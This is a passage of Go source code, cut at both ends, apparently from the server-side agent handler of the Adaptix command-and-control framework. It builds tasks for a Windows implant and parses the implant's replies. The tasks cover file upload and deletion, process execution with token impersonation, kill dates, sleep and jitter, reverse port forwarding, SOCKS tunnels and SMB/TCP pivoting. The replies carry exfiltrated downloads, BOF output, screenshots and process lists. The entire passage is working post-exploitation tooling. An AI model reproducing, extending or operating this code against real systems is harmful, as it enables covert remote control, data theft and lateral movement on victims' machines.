dst, err = getStringArg(args, "dst")
if err != nil {
goto RET
}
array = []interface{}{COMMAND_MV, Ts.TsConvertUTF8toCp(src, agentData.ACP), Ts.TsConvertUTF8toCp(dst, agentData.ACP)}
case "mkdir":
var path string
path, err = getStringArg(args, "path")
if err != nil {
goto RET
}
array = []interface{}{COMMAND_MKDIR, Ts.TsConvertUTF8toCp(path, agentData.ACP)}
case "profile":
if subcommand == "download.chunksize" {
var size float64
size, err = getFloatArg(args, "size")
if err != nil {
goto RET
}
array = []interface{}{COMMAND_PROFILE, 2, int(size)}
} else if subcommand == "killdate" {
var dt string
dt, err = getStringArg(args, "datetime")
if err != nil {
goto RET
}
killDate := 0
if dt != "0" {
var t time.Time
t, err = time.Parse("02.01.2006 15:04:05", dt)
if err != nil {
err = errors.New("Invalid date format, use: 'DD.MM.YYYY hh:mm:ss'")
goto RET
}
killDate = int(t.Unix())
}
array = []interface{}{COMMAND_PROFILE, 3, killDate}
} else if subcommand == "workingtime" {
var t string
t, err = getStringArg(args, "time")
if err != nil {
goto RET
}
workingTime := 0
if t != "0" {
workingTime, err = parseStringToWorkingTime(t)
if err != nil {
goto RET
}
}
array = []interface{}{COMMAND_PROFILE, 4, workingTime}
} else {
err = errors.New("subcommand for 'profile' not found")
goto RET
}
case "ps":
if subcommand == "list" {
array = []interface{}{COMMAND_PS_LIST}
} else if subcommand == "kill" {
var pid float64
pid, err = getFloatArg(args, "pid")
if err != nil {
goto RET
}
array = []interface{}{COMMAND_PS_KILL, int(pid)}
} else if subcommand == "run" {
taskData.Type = adaptix.TASK_TYPE_JOB
output := getBoolArg(args, "-o")
impersonation := getBoolArg(args, "-i")
suspend := getBoolArg(args, "-s")
programState := 0
if suspend {
programState = 4
}
programArgs, _ := args["args"].(string)
programArgs = Ts.TsConvertUTF8toCp(programArgs, agentData.ACP)
array = []interface{}{COMMAND_PS_RUN, output, impersonation, programState, programArgs}
} else {
err = errors.New("subcommand must be 'list', 'kill' or 'run'")
goto RET
}
case "pwd":
array = []interface{}{COMMAND_PWD}
case "rev2self":
array = []interface{}{COMMAND_REV2SELF}
case "rm":
var path string
path, err = getStringArg(args, "path")
if err != nil {
goto RET
}
array = []interface{}{COMMAND_RM, Ts.TsConvertUTF8toCp(path, agentData.ACP)}
case "rportfwd":
taskData.Type = adaptix.TASK_TYPE_TUNNEL
lportNumber, _ := getFloatArg(args, "lport")
lport := int(lportNumber)
if lport < 1 || lport > 65535 {
err = errors.New("port must be from 1 to 65535")
goto RET
}
if subcommand == "start" {
var fhost string
fhost, err = getStringArg(args, "fwdhost")
if err != nil {
goto RET
}
fportNumber, _ := getFloatArg(args, "fwdport")
fport := int(fportNumber)
if fport < 1 || fport > 65535 {
err = errors.New("port must be from 1 to 65535")
goto RET
}
var tunnelId string
tunnelId, err = Ts.TsTunnelCreateRportfwd(agentData.Id, "", lport, fhost, fport)
if err != nil {
goto RET
}
taskData.TaskId, err = Ts.TsTunnelStart(tunnelId)
if err != nil {
goto RET
}
messageData.Message = fmt.Sprintf("Starting reverse port forwarding %d to %s:%d", lport, fhost, fport)
messageData.Status = adaptix.MESSAGE_INFO
} else if subcommand == "stop" {
taskData.Completed = true
Ts.TsTunnelStopRportfwd(agentData.Id, lport)
taskData.MessageType = adaptix.MESSAGE_SUCCESS
taskData.Message = "Reverse port forwarding has been stopped"
} else {
err = errors.New("subcommand must be 'start' or 'stop'")
goto RET
}
case "sleep":
var sleepTime int
var sleepInt int
sleep, err := getStringArg(args, "sleep")
if err != nil {
goto RET
}
jitter, _ := getFloatArg(args, "jitter")
jitterTime := int(jitter)
sleepInt, err = strconv.Atoi(sleep)
if err == nil {
sleepTime = sleepInt
} else {
var t time.Duration
t, err = time.ParseDuration(sleep)
if err == nil {
sleepTime = int(t.Seconds())
} else {
err = errors.New("sleep must be in '%h%m%s' format or number of seconds")
goto RET
}
}
if jitterTime < 0 || jitterTime > 100 {
err = errors.New("jitter must be from 0 to 100")
goto RET
}
if jitterTime > 0 {
messageData.Message = fmt.Sprintf("Task: sleep to %v with %v%% jitter", sleep, jitterTime)
} else {
messageData.Message = fmt.Sprintf("Task: sleep to %v", sleep)
}
array = []interface{}{COMMAND_PROFILE, 1, sleepTime, jitterTime}
case "burst":
if subcommand == "show" {
array = []interface{}{COMMAND_PROFILE, 6}
messageData.Message = "Task: show burst config"
} else if subcommand == "set" {
var enabled float64
var sleepVal float64
var jitterVal float64
enabled, err = getFloatArg(args, "enabled")
if err != nil {
err = errors.New("parameter 'enabled' must be set (1=on, 0=off)")
goto RET
}
burstEnabled := int(enabled)
if burstEnabled != 0 && burstEnabled != 1 {
err = errors.New("parameter 'enabled' must be 0 or 1")
goto RET
}
burstSleep := 50
sleepVal, err = getFloatArg(args, "sleep")
if err == nil {
burstSleep = int(sleepVal)
if burstSleep < 0 || burstSleep > 10000 {
err = errors.New("burst sleep must be from 0 to 10000 ms")
goto RET
}
}
burstJitter := 0
jitterVal, err = getFloatArg(args, "jitter")
if err == nil {
burstJitter = int(jitterVal)
if burstJitter < 0 || burstJitter > 90 {
err = errors.New("burst jitter must be from 0 to 90%%")
goto RET
}
}
messageData.Message = fmt.Sprintf("Task: set burst config - %s", formatBurstStatus(burstEnabled, burstSleep, burstJitter))
array = []interface{}{COMMAND_PROFILE, 5, burstEnabled, burstSleep, burstJitter}
} else {
err = errors.New("subcommand for 'burst' must be 'show' or 'set'")
goto RET
}
case "socks":
var portNumber float64
taskData.Type = adaptix.TASK_TYPE_TUNNEL
portNumber, err = getFloatArg(args, "port")
port := int(portNumber)
if port < 1 || port > 65535 || err != nil {
err = errors.New("port must be from 1 to 65535")
goto RET
}
if subcommand == "start" {
var address string
var tunnelId string
address, err = getStringArg(args, "address")
if err != nil {
goto RET
}
version4 := getBoolArg(args, "-socks4")
if version4 {
tunnelId, err = Ts.TsTunnelCreateSocks4(agentData.Id, "", address, port)
if err != nil {
goto RET
}
taskData.TaskId, err = Ts.TsTunnelStart(tunnelId)
if err != nil {
goto RET
}
taskData.Message = fmt.Sprintf("Socks4 server running on port %d", port)
} else {
auth := getBoolArg(args, "-auth")
if auth {
var username string
var password string
username, err = getStringArg(args, "username")
if err != nil {
goto RET
}
password, err = getStringArg(args, "password")
if err != nil {
goto RET
}
tunnelId, err = Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, true, username, password)
if err != nil {
goto RET
}
taskData.TaskId, err = Ts.TsTunnelStart(tunnelId)
if err != nil {
goto RET
}
taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port)
} else {
tunnelId, err = Ts.TsTunnelCreateSocks5(agentData.Id, "", address, port, false, "", "")
if err != nil {
goto RET
}
taskData.TaskId, err = Ts.TsTunnelStart(tunnelId)
if err != nil {
goto RET
}
taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port)
}
}
taskData.MessageType = adaptix.MESSAGE_SUCCESS
taskData.ClearText = "\n"
} else if subcommand == "stop" {
taskData.Completed = true
Ts.TsTunnelStopSocks(agentData.Id, port)
taskData.MessageType = adaptix.MESSAGE_SUCCESS
taskData.Message = "Socks5 server has been stopped"
taskData.ClearText = "\n"
} else {
err = errors.New("subcommand must be 'start' or 'stop'")
goto RET
}
case "terminate":
if subcommand == "thread" {
array = []interface{}{COMMAND_TERMINATE, 1}
} else if subcommand == "process" {
array = []interface{}{COMMAND_TERMINATE, 2}
} else {
err = errors.New("subcommand must be 'thread' or 'process'")
goto RET
}
case "unlink":
var pivotName string
pivotName, err = getStringArg(args, "id")
if err != nil {
goto RET
}
pivotId, _, _ := Ts.TsGetPivotInfoByName(pivotName)
if pivotId == "" {
err = fmt.Errorf("pivot %s does not exist", pivotName)
goto RET
}
id, _ := strconv.ParseInt(pivotId, 16, 64)
array = []interface{}{COMMAND_UNLINK, int(id)}
case "upload":
var fileName string
var localFile string
var fileContent []byte
fileName, err = getStringArg(args, "remote_path")
if err != nil {
goto RET
}
localFile, err = getStringArg(args, "local_file")
if err != nil {
goto RET
}
fileContent, err = base64.StdEncoding.DecodeString(localFile)
if err != nil {
goto RET
}
memoryId := CreateTaskCommandSaveMemory(Ts, agentData.Id, fileContent)
array = []interface{}{COMMAND_UPLOAD, memoryId, Ts.TsConvertUTF8toCp(fileName, agentData.ACP)}
default:
err = errors.New(fmt.Sprintf("Command '%v' not found", command))
goto RET
}
taskData.Data, err = PackArray(array)
/// END CODE
RET:
return taskData, messageData, err
}
func (ext *ExtenderAgent) ProcessData(agentData adaptix.AgentData, decryptedData []byte) error {
var outTasks []adaptix.TaskData
taskData := adaptix.TaskData{
Type: adaptix.TASK_TYPE_TASK,
AgentId: agentData.Id,
FinishDate: time.Now().Unix(),
MessageType: adaptix.MESSAGE_SUCCESS,
Completed: true,
Sync: true,
}
/// START CODE
decompressed, _ := decompressZlibData(decryptedData)
packer := CreatePacker(decompressed)
if false == packer.CheckPacker([]string{"int"}) {
return errors.New("failed to unmarshal message")
}
size := packer.ParseInt32()
if size-4 != packer.Size() {
return errors.New("failed to unmarshal message")
}
bof_output := make(map[string]bool)
for packer.Size() >= 8 {
if false == packer.CheckPacker([]string{"int", "int"}) {
goto HANDLER
}
TaskId := packer.ParseInt32()
commandId := packer.ParseInt32()
task := taskData
task.TaskId = fmt.Sprintf("%08x", TaskId)
switch commandId {
case COMMAND_CAT:
if false == packer.CheckPacker([]string{"array", "array"}) {
goto HANDLER
}
path := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
fileContent := packer.ParseBytes()
task.Message = fmt.Sprintf("'%v' file content:", path)
task.ClearText = string(fileContent)
case COMMAND_CD:
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
path := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
task.Message = "Current working directory:"
task.ClearText = path
case COMMAND_COPY:
task.Message = "File copied successfully"
case COMMAND_DISKS:
if false == packer.CheckPacker([]string{"byte", "int"}) {
goto HANDLER
}
result := packer.ParseInt8()
var drives []adaptix.ListingDrivesDataWin
if result == 0 {
errorCode := packer.ParseInt32()
task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, Ts.TsWin32Error(errorCode))
task.MessageType = adaptix.MESSAGE_ERROR
} else {
drivesCount := int(packer.ParseInt32())
for i := 0; i < drivesCount; i++ {
if false == packer.CheckPacker([]string{"byte", "int"}) {
goto HANDLER
}
var driveData adaptix.ListingDrivesDataWin
driveCode := packer.ParseInt8()
driveType := packer.ParseInt32()
driveData.Name = fmt.Sprintf("%c:", driveCode)
if driveType == 2 {
driveData.Type = "USB"
} else if driveType == 3 {
driveData.Type = "Hard Drive"
} else if driveType == 4 {
driveData.Type = "Network Drive"
} else if driveType == 5 {
driveData.Type = "CD-ROM"
} else {
driveData.Type = "Unknown"
}
drives = append(drives, driveData)
}
OutputText := fmt.Sprintf(" %-5s %s\n", "Drive", "Type")
OutputText += fmt.Sprintf(" %-5s %s", "-----", "-----")
for _, item := range drives {
OutputText += fmt.Sprintf("\n %-5s %s", item.Name, item.Type)
}
task.Message = "List of mounted drives:"
task.ClearText = OutputText
}
Ts.TsClientGuiDisksWindows(task, drives)
case COMMAND_DOWNLOAD:
if false == packer.CheckPacker([]string{"int", "byte"}) {
goto HANDLER
}
fileId := fmt.Sprintf("%08x", packer.ParseInt32())
downloadCommand := packer.ParseInt8()
if downloadCommand == DOWNLOAD_START {
if false == packer.CheckPacker([]string{"long", "array"}) {
goto HANDLER
}
fileSize := packer.ParseInt64()
fileName := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
task.Message = fmt.Sprintf("The download of the '%s' file (%v bytes) has started: [fid %v]", fileName, fileSize, fileId)
task.Completed = false
_ = Ts.TsDownloadAdd(agentData.Id, fileId, fileName, int64(fileSize))
} else if downloadCommand == DOWNLOAD_CONTINUE {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
fileContent := packer.ParseBytes()
task.Completed = false
_ = Ts.TsDownloadUpdate(fileId, adaptix.DOWNLOAD_STATE_RUNNING, fileContent)
continue
} else if downloadCommand == DOWNLOAD_FINISH {
task.Message = fmt.Sprintf("File download complete: [fid %v]", fileId)
_ = Ts.TsDownloadClose(fileId, adaptix.DOWNLOAD_STATE_FINISHED)
}
case COMMAND_EXFIL:
if false == packer.CheckPacker([]string{"int", "byte"}) {
goto HANDLER
}
fileId := fmt.Sprintf("%08x", packer.ParseInt32())
downloadState := packer.ParseInt8()
if downloadState == adaptix.DOWNLOAD_STATE_STOPPED {
task.Message = fmt.Sprintf("Download '%v' successful stopped", fileId)
_ = Ts.TsDownloadUpdate(fileId, adaptix.DOWNLOAD_STATE_STOPPED, []byte(""))
} else if downloadState == adaptix.DOWNLOAD_STATE_RUNNING {
task.Message = fmt.Sprintf("Download '%v' successful resumed", fileId)
_ = Ts.TsDownloadUpdate(fileId, adaptix.DOWNLOAD_STATE_RUNNING, []byte(""))
} else if downloadState == adaptix.DOWNLOAD_STATE_CANCELED {
task.Message = fmt.Sprintf("Download '%v' successful canceled", fileId)
_ = Ts.TsDownloadClose(fileId, adaptix.DOWNLOAD_STATE_CANCELED)
}
case COMMAND_EXEC_BOF:
if false == packer.CheckPacker([]string{"byte"}) {
goto HANDLER
}
state := packer.ParseInt8()
if state == 1 {
task.Message = "Async BOF started"
task.Completed = false
} else {
task.Message = "BOF finished"
task.Completed = true
}
case COMMAND_EXEC_BOF_OUT:
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
outputType := packer.ParseInt32()
if outputType == BOF_ERROR_PARSE {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
_ = packer.ParseString()
task.MessageType = adaptix.MESSAGE_ERROR
task.Message = "BOF error"
task.ClearText = "Parse BOF error"
} else if outputType == BOF_ERROR_MAX_FUNCS {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
_ = packer.ParseString()
task.MessageType = adaptix.MESSAGE_ERROR
task.Message = "BOF error"
task.ClearText = "The number of functions in the BOF file exceeds 512"
} else if outputType == BOF_ERROR_ENTRY {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
_ = packer.ParseString()
task.MessageType = adaptix.MESSAGE_ERROR
task.Message = "BOF error"
task.ClearText = "Entry function not found"
} else if outputType == BOF_ERROR_ALLOC {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
_ = packer.ParseString()
task.MessageType = adaptix.MESSAGE_ERROR
task.Message = "BOF error"
task.ClearText = "Error allocation of BOF memory"
} else if outputType == BOF_ERROR_SYMBOL {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
output := packer.ParseString()
task.MessageType = adaptix.MESSAGE_ERROR
task.Message = "BOF error"
task.ClearText = "Symbol not found: " + output + "\n"
} else if outputType == CALLBACK_ERROR {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
output := packer.ParseString()
task.MessageType = adaptix.MESSAGE_ERROR
task.Message = "BOF output"
task.ClearText = Ts.TsConvertCpToUTF8(output, agentData.ACP)
} else if outputType == CALLBACK_OUTPUT_OEM {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
output := packer.ParseString()
_, ok := bof_output[task.TaskId]
if ok {
task.Message = ""
} else {
bof_output[task.TaskId] = true
task.Message = "BOF output"
}
task.MessageType = adaptix.MESSAGE_SUCCESS
task.ClearText = Ts.TsConvertCpToUTF8(output, agentData.OemCP)
} else if outputType == CALLBACK_OUTPUT_UTF8 {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
output := packer.ParseString()
_, ok := bof_output[task.TaskId]
if ok {
task.Message = ""
} else {
bof_output[task.TaskId] = true
task.Message = "BOF output"
}
task.MessageType = adaptix.MESSAGE_SUCCESS
task.ClearText = output
} else if outputType == CALLBACK_AX_SCREENSHOT {
if false == packer.CheckPacker([]string{"array", "array"}) {
goto HANDLER
}
note := packer.ParseString()
screen := packer.ParseBytes()
_ = Ts.TsScreenshotAdd(agentData.Id, note, screen)
} else if outputType == CALLBACK_AX_DOWNLOAD_MEM {
if false == packer.CheckPacker([]string{"array", "array"}) {
goto HANDLER
}
filename := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
data := packer.ParseBytes()
fileId := fmt.Sprintf("%08x", rand.Uint32())
_ = Ts.TsDownloadSave(agentData.Id, fileId, filename, data)
} else {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
output := packer.ParseString()
_, ok := bof_output[task.TaskId]
if ok {
task.Message = ""
} else {
bof_output[task.TaskId] = true
task.Message = "BOF output"
}
task.MessageType = adaptix.MESSAGE_SUCCESS
task.ClearText = Ts.TsConvertCpToUTF8(output, agentData.ACP) + "\n"
}
task.Completed = false
case COMMAND_GETUID:
if false == packer.CheckPacker([]string{"byte", "array", "array"}) {
goto HANDLER
}
high := packer.ParseInt8()
domain := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
username := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
message := ""
if username != "" {
if domain != "" {
username = domain + "\\" + username
}
message = fmt.Sprintf("You are '%v'", username)
if high > 0 {
message += " (elevated)"
}
}
task.Message = message
case COMMAND_JOB:
if false == packer.CheckPacker([]string{"byte", "byte"}) {
goto HANDLER
}
jobType := packer.ParseInt8()
state := packer.ParseInt8()
if jobType == JOB_TYPE_SHELL {
tunnelId := task.TaskId
if state == JOB_STATE_STARTING {
Ts.TsTerminalConnResume(agentData.Id, tunnelId, false)
} else if state == JOB_STATE_RUNNING {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
data := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.OemCP)
Ts.TsTerminalConnData(tunnelId, []byte(data))
} else if state == JOB_STATE_KILLED {
_ = Ts.TsTerminalConnClose(tunnelId, "Terminal stopped")
} else if state == JOB_STATE_FINISHED {
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
errorCode := packer.ParseInt32()
status := fmt.Sprintf("Error [%d]: %s", errorCode, Ts.TsWin32Error(errorCode))
_ = Ts.TsTerminalConnClose(tunnelId, status)
}
} else {
if state == JOB_STATE_RUNNING {
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
task.Completed = false
jobOutput := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.OemCP)
task.Message = fmt.Sprintf("Job [%v] output:", task.TaskId)
task.ClearText = jobOutput
} else if state == JOB_STATE_KILLED {
task.Completed = true
task.MessageType = adaptix.MESSAGE_INFO
task.Message = fmt.Sprintf("Job [%v] canceled", task.TaskId)
} else if state == JOB_STATE_FINISHED {
task.Completed = true
task.Message = fmt.Sprintf("Job [%v] finished", task.TaskId)
}
}
case COMMAND_JOB_LIST:
var Output string
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
count := packer.ParseInt32()
if count > 0 {
Output += fmt.Sprintf(" %-10s %-5s %-13s\n", "JobID", "PID", "Type")
Output += fmt.Sprintf(" %-10s %-5s %-13s", "--------", "-----", "-------")
for i := 0; i < int(count); i++ {
if false == packer.CheckPacker([]string{"int", "word", "word"}) {
goto HANDLER
}
jobId := fmt.Sprintf("%08x", packer.ParseInt32())
jobType := packer.ParseInt16()
pid := packer.ParseInt16()
stringType := "Unknown"
if jobType == 0x1 {
stringType = "Local"
} else if jobType == 0x2 {
stringType = "Remote"
} else if jobType == 0x3 {
stringType = "Process"
} else if jobType == 0x4 {
stringType = "Shell"
} else if jobType == 0x5 {
stringType = "Async BOF"
}
Output += fmt.Sprintf("\n %-10v %-5v %-13s", jobId, pid, stringType)
}
task.Message = "Job list:"
task.ClearText = Output
} else {
task.Message = "No active jobs"
}
case COMMAND_JOBS_KILL:
if false == packer.CheckPacker([]string{"byte", "int"}) {
goto HANDLER
}
result := packer.ParseInt8()
jobId := packer.ParseInt32()
if result == 0 {
task.MessageType = adaptix.MESSAGE_ERROR
task.Message = fmt.Sprintf("Job %v not found", jobId)
} else {
task.Message = fmt.Sprintf("Job %v mark as Killed", jobId)
}
case COMMAND_LINK:
if false == packer.CheckPacker([]string{"byte", "int", "array"}) {
goto HANDLER
}
linkType := packer.ParseInt8()
watermark := fmt.Sprintf("%08x", packer.ParseInt32())
beat := packer.ParseBytes()
childAgentId, _ := Ts.TsListenerInteralHandler(watermark, beat)
_ = Ts.TsPivotCreate(task.TaskId, agentData.Id, childAgentId, "", false)
if linkType == 1 {
task.Message = fmt.Sprintf("----- New SMB pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId)
Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, task.Message, "\n", true)
} else if linkType == 2 {
task.Message = fmt.Sprintf("----- New TCP pivot agent: [%s]===[%s] -----", agentData.Id, childAgentId)
Ts.TsAgentConsoleOutput(childAgentId, adaptix.MESSAGE_SUCCESS, task.Message, "\n", true)
}
case COMMAND_LS:
if false == packer.CheckPacker([]string{"byte"}) {
goto HANDLER
}
result := packer.ParseInt8()
var items []adaptix.ListingFileDataWin
var rootPath string
if result == 0 {
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
errorCode := packer.ParseInt32()
task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, Ts.TsWin32Error(errorCode))
task.MessageType = adaptix.MESSAGE_ERROR
} else {
if false == packer.CheckPacker([]string{"array", "int"}) {
goto HANDLER
}
rootPath = Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
rootPath, _ = strings.CutSuffix(rootPath, "\\*")
filesCount := int(packer.ParseInt32())
if filesCount == 0 {
task.Message = fmt.Sprintf("The '%s' directory is EMPTY", rootPath)
} else {
var folders []adaptix.ListingFileDataWin
var files []adaptix.ListingFileDataWin
for i := 0; i < filesCount; i++ {
if false == packer.CheckPacker([]string{"byte", "long", "int", "array"}) {
goto HANDLER
}
isDir := packer.ParseInt8()
fileData := adaptix.ListingFileDataWin{
IsDir: false,
Size: int64(packer.ParseInt64()),
Date: int64(packer.ParseInt32()),
Filename: Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP),
}
if isDir > 0 {
fileData.IsDir = true
folders = append(folders, fileData)
} else {
files = append(files, fileData)
}
}
items = append(folders, files...)
OutputText := fmt.Sprintf(" %-8s %-14s %-20s %s\n", "Type", "Size", "Last Modified ", "Name")
OutputText += fmt.Sprintf(" %-8s %-14s %-20s %s", "----", "---------", "---------------- ", "----")
for _, item := range items {
t := time.Unix(item.Date, 0).UTC()
lastWrite := fmt.Sprintf("%02d/%02d/%d %02d:%02d", t.Day(), t.Month(), t.Year(), t.Hour(), t.Minute())
if item.IsDir {
OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "dir", "", lastWrite, item.Filename)
} else {
OutputText += fmt.Sprintf("\n %-8s %-14s %-20s %-8v", "", SizeBytesToFormat(item.Size), lastWrite, item.Filename)
}
}
task.Message = fmt.Sprintf("Listing '%s'", rootPath)
task.ClearText = OutputText
}
}
Ts.TsClientGuiFilesWindows(task, rootPath, items)
case COMMAND_MKDIR:
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
path := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
task.Message = fmt.Sprintf("Directory '%v' created successfully", path)
case COMMAND_MV:
task.Message = "File moved successfully"
case COMMAND_PIVOT_EXEC:
if false == packer.CheckPacker([]string{"int", "array"}) {
goto HANDLER
}
pivotId := fmt.Sprintf("%08x", packer.ParseInt32())
pivotData := packer.ParseBytes()
_, _, childAgentId := Ts.TsGetPivotInfoById(pivotId)
_ = Ts.TsAgentProcessData(childAgentId, pivotData)
case COMMAND_PROFILE:
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
subcommand := packer.ParseInt32()
if subcommand == 1 {
if false == packer.CheckPacker([]string{"int", "int"}) {
goto HANDLER
}
agentData.Sleep = packer.ParseInt32()
agentData.Jitter = packer.ParseInt32()
task.Message = "Sleep time has been changed"
_ = Ts.TsAgentUpdateData(agentData)
} else if subcommand == 2 {
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
size := packer.ParseInt32()
task.Message = fmt.Sprintf("Download chunk size set to %v bytes", size)
} else if subcommand == 3 {
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
agentData.KillDate = int(packer.ParseInt32())
task.Message = "Option 'killdate' is set"
if agentData.KillDate == 0 {
task.Message = "The 'killdate' option is disabled"
}
_ = Ts.TsAgentUpdateData(agentData)
} else if subcommand == 4 {
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
agentData.WorkingTime = int(packer.ParseInt32())
task.Message = "Option 'workingtime' is set"
if agentData.WorkingTime == 0 {
task.Message = "The 'workingtime' option is disabled"
}
_ = Ts.TsAgentUpdateData(agentData)
} else if subcommand == 5 { // Burst set response
if false == packer.CheckPacker([]string{"int", "int", "int"}) {
goto HANDLER
}
burstEnabled := packer.ParseInt32()
burstSleep := packer.ParseInt32()
burstJitter := packer.ParseInt32()
task.Message = fmt.Sprintf("Burst config updated: %s", formatBurstStatus(int(burstEnabled), int(burstSleep), int(burstJitter)))
} else if subcommand == 6 {
// Burst show response
if false == packer.CheckPacker([]string{"int", "int", "int"}) {
goto HANDLER
}
burstEnabled := packer.ParseInt32()
burstSleep := packer.ParseInt32()
burstJitter := packer.ParseInt32()
task.Message = fmt.Sprintf("Burst config: %s", formatBurstStatus(int(burstEnabled), int(burstSleep), int(burstJitter)))
}
case COMMAND_PS_LIST:
if false == packer.CheckPacker([]string{"byte", "int"}) {
goto HANDLER
}
result := packer.ParseInt8()
var proclist []adaptix.ListingProcessDataWin
if result == 0 {
errorCode := packer.ParseInt32()
task.Message = fmt.Sprintf("Error [%d]: %s", errorCode, Ts.TsWin32Error(errorCode))
task.MessageType = adaptix.MESSAGE_ERROR
} else {
processCount := int(packer.ParseInt32())
if processCount == 0 {
task.Message = "Failed to get process list"
task.MessageType = adaptix.MESSAGE_ERROR
break
}
contextMaxSize := 10
for i := 0; i < processCount; i++ {
if false == packer.CheckPacker([]string{"word", "word", "word", "byte", "byte", "array", "array", "array"}) {
goto HANDLER
}
procData := adaptix.ListingProcessDataWin{
Pid: uint(packer.ParseInt16()),
Ppid: uint(packer.ParseInt16()),
SessionId: uint(packer.ParseInt16()),
Arch: "",
}
isArch64 := packer.ParseInt8()
if isArch64 == 0 {
procData.Arch = "x32"
} else if isArch64 == 1 {
procData.Arch = "x64"
}
elevated := packer.ParseInt8()
domain := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
username := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
if username != "" {
procData.Context = username
if domain != "" {
procData.Context = domain + "\\" + username
}
if elevated > 0 {
procData.Context += " *"
}
if len(procData.Context) > contextMaxSize {
contextMaxSize = len(procData.Context)
}
}
procData.ProcessName = Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
proclist = append(proclist, procData)
}
type TreeProc struct {
Data adaptix.ListingProcessDataWin
Children []*TreeProc
}
procMap := make(map[uint]*TreeProc)
var roots []*TreeProc
for _, proc := range proclist {
node := &TreeProc{Data: proc}
procMap[proc.Pid] = node
}
for _, node := range procMap {
if node.Data.Ppid == 0 || node.Data.Pid == node.Data.Ppid {
roots = append(roots, node)
} else if parent, ok := procMap[node.Data.Ppid]; ok {
parent.Children = append(parent.Children, node)
} else {
roots = append(roots, node) // orphaned node
}
}
sort.Slice(roots, func(i, j int) bool {
return roots[i].Data.Pid < roots[j].Data.Pid
})
var sortChildren func(node *TreeProc)
sortChildren = func(node *TreeProc) {
sort.Slice(node.Children, func(i, j int) bool {
return node.Children[i].Data.Pid < node.Children[j].Data.Pid
})
for _, child := range node.Children {
sortChildren(child)
}
}
for _, root := range roots {
sortChildren(root)
}
format := fmt.Sprintf(" %%-5v %%-5v %%-7v %%-5v %%-%vv %%v", contextMaxSize)
OutputText := fmt.Sprintf(format, "PID", "PPID", "Session", "Arch", "Context", "Process")
OutputText += fmt.Sprintf("\n"+format, "---", "----", "-------", "----", "-------", "-------")
var lines []string
var formatTree func(node *TreeProc, prefix string, isLast bool)
formatTree = func(node *TreeProc, prefix string, isLast bool) {
branch := "├─ "
if isLast {
branch = "└─ "
}
treePrefix := prefix + branch
data := node.Data
line := fmt.Sprintf(format, data.Pid, data.Ppid, data.SessionId, data.Arch, data.Context, treePrefix+data.ProcessName)
lines = append(lines, line)
childPrefix := prefix
if isLast {
childPrefix += " "
} else {
childPrefix += "│ "
}
for i, child := range node.Children {
formatTree(child, childPrefix, i == len(node.Children)-1)
}
}
for i, root := range roots {
formatTree(root, "", i == len(roots)-1)
}
OutputText += "\n" + strings.Join(lines, "\n")
task.Message = "Process list:"
task.ClearText = OutputText
}
Ts.TsClientGuiProcessWindows(task, proclist)
case COMMAND_PS_KILL:
if false == packer.CheckPacker([]string{"int"}) {
goto HANDLER
}
pid := packer.ParseInt32()
task.Message = fmt.Sprintf("Process %d killed", pid)
case COMMAND_PS_RUN:
if false == packer.CheckPacker([]string{"int", "byte", "array"}) {
goto HANDLER
}
pid := packer.ParseInt32()
isOutput := packer.ParseInt8()
prog := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
status := "no output"
if isOutput > 0 {
status = "with output"
}
task.Completed = false
task.Message = fmt.Sprintf("Program %v started with PID %d (output - %v)", prog, pid, status)
case COMMAND_PWD:
if false == packer.CheckPacker([]string{"array"}) {
goto HANDLER
}
path := Ts.TsConvertCpToUTF8(packer.ParseString(), agentData.ACP)
task.Message = "Current working directory:"
task.ClearText = path
case COMMAND_REV2SELF:
task.Message = "Token reverted successfully"
emptyImpersonate := ""
_ = Ts.TsAgentUpdateDataPartial(agentData.Id, struct {
Impersonated *string `json:"impersonated"`
}{Impersonated: &emptyImpersonate})
case COMMAND_RM:
